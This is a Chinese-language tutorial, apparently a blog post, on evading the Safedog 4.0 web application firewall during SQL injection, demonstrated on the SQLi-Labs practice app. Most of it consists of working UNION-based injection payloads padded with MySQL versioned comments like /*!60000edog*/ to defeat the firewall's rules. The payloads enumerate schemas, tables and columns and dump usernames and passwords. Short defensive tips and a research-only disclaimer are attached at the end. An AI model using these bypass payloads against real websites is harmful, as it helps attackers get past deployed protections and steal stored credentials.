安全狗4.0版本SQL注入绕过一点小技巧,最新2020-10-27官网版本可用
字数 699 2025-08-15 21:32:24
安全狗4.0版本SQL注入绕过技术详解
0x00 前言
本文针对安全狗4.0版本(2020-10-27官网最新版)的SQL注入防护机制进行分析,提供有效的绕过技术。测试环境基于SQLi-Labs的第一关。
0x01 注入点检测绕过
初始拦截情况
and关键字不会被拦截and后跟数字会被拦截(如and 1=1)
绕过方法
使用MySQL注释语法 /*!500001*/ 进行绕过:
id=1' and /*!500001*/1=/*!500002*/ --+
0x02 字段数探测
已知测试环境有3个字段,直接测试:
id=1' order by /*!60000edog*/3 --+
关键发现:
- 使用
/*!50000edog*/会导致数据库报错 - 版本数值必须大于5才能成功绕过(如
60000)
0x03 数据提取技术
爆库名
id=-1' union select /*!60000edog*/1,/*!60000edog*/database/*!60000edog*/(),/*!60000edog*/3 --+
关键注意事项
-
所有SQL关键字之间都需要插入
/*!60000edog*/注释select和字段之间database和括号之间- 所有关键字分隔处
-
注释格式必须为
/*!数字edog*/,其中数字建议大于50000
0x04 完整利用示例
获取表名
id=-1' union select /*!60000edog*/1,/*!60000edog*/group_concat(table_name),/*!60000edog*/3 from /*!60000edog*/information_schema.tables where /*!60000edog*/table_schema=/*!60000edog*/database/*!60000edog*/() --+
获取列名
id=-1' union select /*!60000edog*/1,/*!60000edog*/group_concat(column_name),/*!60000edog*/3 from /*!60000edog*/information_schema.columns where /*!60000edog*/table_name='users' --+
获取数据
id=-1' union select /*!60000edog*/1,/*!60000edog*/group_concat(username,0x3a,password),/*!60000edog*/3 from /*!60000edog*/users --+
技术原理分析
- MySQL注释语法
/*!50001...*/表示当MySQL版本大于等于5.0001时执行注释中的内容 - 安全狗可能未正确解析这种特殊注释语法
- 添加
edog字符串可能干扰安全狗的规则匹配机制 - 大版本号确保注释内容在所有现代MySQL版本中都会被执行
防御建议
- 安全狗用户应及时更新到最新版本
- 建议结合其他WAF产品进行多层防护
- 应用程序应使用参数化查询等安全编码实践
此技术适用于特定版本的安全狗,随着WAF规则的更新可能失效,建议仅用于安全研究和授权测试场景。